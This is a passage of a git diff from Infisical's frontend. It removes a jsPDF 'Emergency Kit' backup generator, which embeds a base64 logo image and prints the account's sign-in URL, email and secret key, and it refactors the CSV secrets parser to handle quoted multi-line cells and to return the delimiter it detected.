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";
-
-const today = new Date();
-const dd = String(today.getDate()).padStart(2, "0");
-const mm = String(today.getMonth() + 1).padStart(2, "0"); // January is 0!
-const yyyy = today.getFullYear();
-
-const todayFormatted = `${mm}/${dd}/${yyyy}`;
-
-function createPdfHeader(doc: jsPDF, personalName: string) {
-  doc.setFillColor(255, 255, 255);
-  doc.rect(0, 0, 600, 900, "F");
-  doc.setTextColor(23, 23, 23);
-  doc.addImage(imgData, "png", 30, 35, 535, 72, undefined, "FAST");
-  doc.addFont("helvetica", "normal", "");
-  doc.setFontSize(12);
-  doc.text(`Created for ${personalName} on ${todayFormatted}.`, 290, 130, { align: "center" });
-}
-
-function createPdfContent(doc: jsPDF, personalEmail: string, generatedKey: string) {
-  const { protocol, hostname, port } = window.location;
-  const portSuffix = port && port !== "80" ? `:${port}` : "";
-  const siteURL = `${protocol}//${hostname}${portSuffix}`;
-
-  doc.setFontSize(14);
-  doc.text(
-    "In case you get locked out of you Infisical account, you`ll need these account details",
-    32,
-    180
-  );
-  doc.text("to sign in —", 32, 200);
-  doc.setFont("helvetica", "bold");
-  doc.text("including your Secret Key, which we absolutely cannot access or", 110, 200);
-  doc.text("recover for you. ", 32, 220);
-  doc.setFont("helvetica", "normal");
-  doc.text("Recommendations:", 32, 250);
-  doc.text(
-    "1. We recommend to get your Emergency Kit off your computer and print a copy.",
-    32,
-    280
-  );
-  doc.text(
-    "2. Store it somewhere safe (such as with your birth certificate, your will, or on your",
-    32,
-    310
-  );
-  doc.text("personal cloud storage).", 32, 330);
-  doc.setFillColor(251, 255, 158);
-  doc.roundedRect(32, 350, 530, 190, 5, 5, "F");
-  doc.setDrawColor(228, 255, 0);
-  doc.setLineWidth(1);
-  doc.roundedRect(32, 350, 530, 190, 5, 5, "S");
-  doc.setTextColor(43, 43, 43);
-  doc.setFont("helvetica", "bold");
-  doc.setFontSize(15);
-  doc.text("Infisical Account Details", 290, 375, { align: "center" });
-  doc.setFontSize(12);
-  doc.text("SIGN-IN URL", 50, 420);
-  doc.text("EMAIL ADDRESS", 50, 465);
-  doc.text("SECRET KEY", 50, 510);
-  doc.setFont("helvetica", "normal");
-  doc.setFillColor(254, 255, 235);
-  doc.roundedRect(170, 398, 375, 35, 5, 5, "F");
-  doc.roundedRect(170, 443, 375, 35, 5, 5, "F");
-  doc.roundedRect(170, 488, 375, 35, 5, 5, "F");
-  doc.setTextColor(23, 23, 23);
-  doc.setFontSize(14);
-  doc.text(`${siteURL}/login`, 180, 420);
-  doc.text(personalEmail, 180, 465);
-  doc.text(generatedKey, 180, 510);
-  doc.text("Need help? Contact us at support@infisical.com", 32, 575);
-}
-
-/**
- * This function generate a pdf with a secret key for a user.
- */
-function generateBackupPDF({ personalName, personalEmail, generatedKey }: PDFProps) {
-  // eslint-disable-next-line new-cap
-  const doc = new jsPDF("p", "pt", "a4", true);
-  createPdfHeader(doc, personalName);
-  createPdfContent(doc, personalEmail, generatedKey);
-  doc.save("Infisical Emergency Kit.pdf");
-}
-
-/**
- * This function generate a pdf with a secret key for a user.
- */
-export function generateBackupPDFAsync({ personalName, personalEmail, generatedKey }: PDFProps) {
-  // eslint-disable-next-line new-cap
-  const doc = new jsPDF("p", "pt", "a4", true);
-  createPdfHeader(doc, personalName);
-  createPdfContent(doc, personalEmail, generatedKey);
-  return doc.save("Infisical Emergency Kit.pdf", { returnPromise: true });
-}
-
-export default generateBackupPDF;
diff --git a/frontend/src/components/utilities/parseSecrets.ts b/frontend/src/components/utilities/parseSecrets.ts
index e33f25ace83..3df9caabd17 100644
--- a/frontend/src/components/utilities/parseSecrets.ts
+++ b/frontend/src/components/utilities/parseSecrets.ts
@@ -166,11 +166,14 @@ export function parseYaml(src: ArrayBuffer | string) {
   return result;
 }
 
-function detectSeparator(csvContent: string): string {
+export type CsvDelimiter = "," | ";" | "\t" | "|";
+
+const CSV_DELIMITERS: readonly CsvDelimiter[] = [",", ";", "\t", "|"];
+
+function detectSeparator(csvContent: string): CsvDelimiter {
   const firstLine = csvContent.split("\n")[0];
-  const separators = [",", ";", "\t", "|"];
 
-  const counts = separators.map((sep) => ({
+  const counts = CSV_DELIMITERS.map((sep) => ({
     separator: sep,
     count: (firstLine.match(new RegExp(`\\${sep}`, "g")) || []).length
   }));
@@ -180,7 +183,10 @@ function detectSeparator(csvContent: string): string {
   return detected.count > 0 ? detected.separator : ",";
 }
 
-export function parseCsvToMatrix(src: ArrayBuffer | string): string[][] {
+export function parseCsvToMatrix(src: ArrayBuffer | string): {
+  matrix: string[][];
+  delimiter: CsvDelimiter;
+} {
   let csvContent: string;
   if (typeof src === "string") {
     csvContent = src;
@@ -189,37 +195,45 @@ export function parseCsvToMatrix(src: ArrayBuffer | string): string[][] {
   }
 
   const separator = detectSeparator(csvContent);
-  const lines = csvContent.replace(/\r\n?/g, "\n").split("\n");
+  const normalized = csvContent.replace(/\r\n?/g, "\n");
   const matrix: string[][] = [];
 
-  lines.forEach((line) => {
-    if (line.trim() !== "") {
-      const cells: string[] = [];
-      let currentCell = "";
-      let inQuote = false;
+  let cells: string[] = [];
+  let currentCell = "";
+  let inQuote = false;
 
-      for (let i = 0; i < line.length; i += 1) {
-        const char = line[i];
-        const nextChar = line[i + 1];
+  for (let i = 0; i < normalized.length; i += 1) {
+    const char = normalized[i];
+    const nextChar = normalized[i + 1];
 
-        if (char === '"') {
-          if (inQuote && nextChar === '"') {
-            currentCell += '"';
-            i += 1;
-          } else {
-            inQuote = !inQuote;
-          }
-        } else if (char === separator && !inQuote) {
-          cells.push(currentCell.trim());
-          currentCell = "";
-        } else {
-          currentCell += char;
-        }
+    if (char === '"') {
+      if (inQuote && nextChar === '"') {
+        currentCell += '"';
+        i += 1;
+      } else {
+        inQuote = !inQuote;
       }
+    } else if (char === separator && !inQuote) {
+      cells.push(currentCell.trim());
+      currentCell = "";
+    } else if (char === "\n" && !inQuote) {
       cells.push(currentCell.trim());
+      if (cells.some((c) => c !== "")) {
+        matrix.push(cells);
+      }
+      cells = [];
+      currentCell = "";
+    } else {
+      currentCell += char;
+    }
+  }
+
+  if (currentCell.length > 0 || cells.length > 0) {
+    cells.push(currentCell.trim());
+    if (cells.some((c) => c !== "")) {
       matrix.push(cells);
     }
-  });
+  }
 
-  return matrix;
+  return { matrix, delimiter: separator };
 }
diff --git a/frontend/src/components/v2/GenericFieldLabel/GenericFieldLabel.tsx b/frontend/src/components/v2/GenericFieldLabel/GenericFieldLabel.tsx
index cba5e6fd74d..016017a6235 100644
--- a/frontend/src/components/v2/GenericFieldLabel/GenericFieldLabel.tsx
+++ b/frontend/src/components/v2/GenericFieldLabel/GenericFieldLabel.tsx
@@ -27,7 +27,9 @@ export const GenericFieldLabel = ({
         <p className={twMerge("text-xs font-medium text-mineshaft-400", labelClassName)}>{label}</p>
       </div>
       {children ? (
-        <p className={twMerge("text-sm text-mineshaft-100", truncate && "truncate")}>{children}</p>
+        <p className={twMerge("text-sm text-mineshaft-100", truncate ? "truncate" : "break-all")}>
+          {children}
+        </p>
       ) : (
         <p className="text-sm text-mineshaft-400/50 italic">None</p>
       )}
diff --git a/frontend/src/components/v2/InfisicalSecretInput/InfisicalSecretInput.tsx b/frontend/src/components/v2/InfisicalSecretInput/InfisicalSecretInput.tsx
index c0349e67bd2..f69f6ec1fc3 100644
--- a/frontend/src/components/v2/InfisicalSecretInput/InfisicalSecretInput.tsx
+++ b/frontend/src/components/v2/InfisicalSecretInput/InfisicalSecretInput.tsx
@@ -464,7 +464,7 @@ export const InfisicalSecretInput = forwardRef<HTMLTextAreaElement, Props>(
           <Popover.Content
             align="start"
             onOpenAutoFocus={(e) => e.preventDefault()}
-            className="relative top-2 z-100 max-h-64 thin-scrollbar overflow-auto rounded-md border border-mineshaft-600 bg-mineshaft-900 font-inter text-bunker-100 shadow-md"
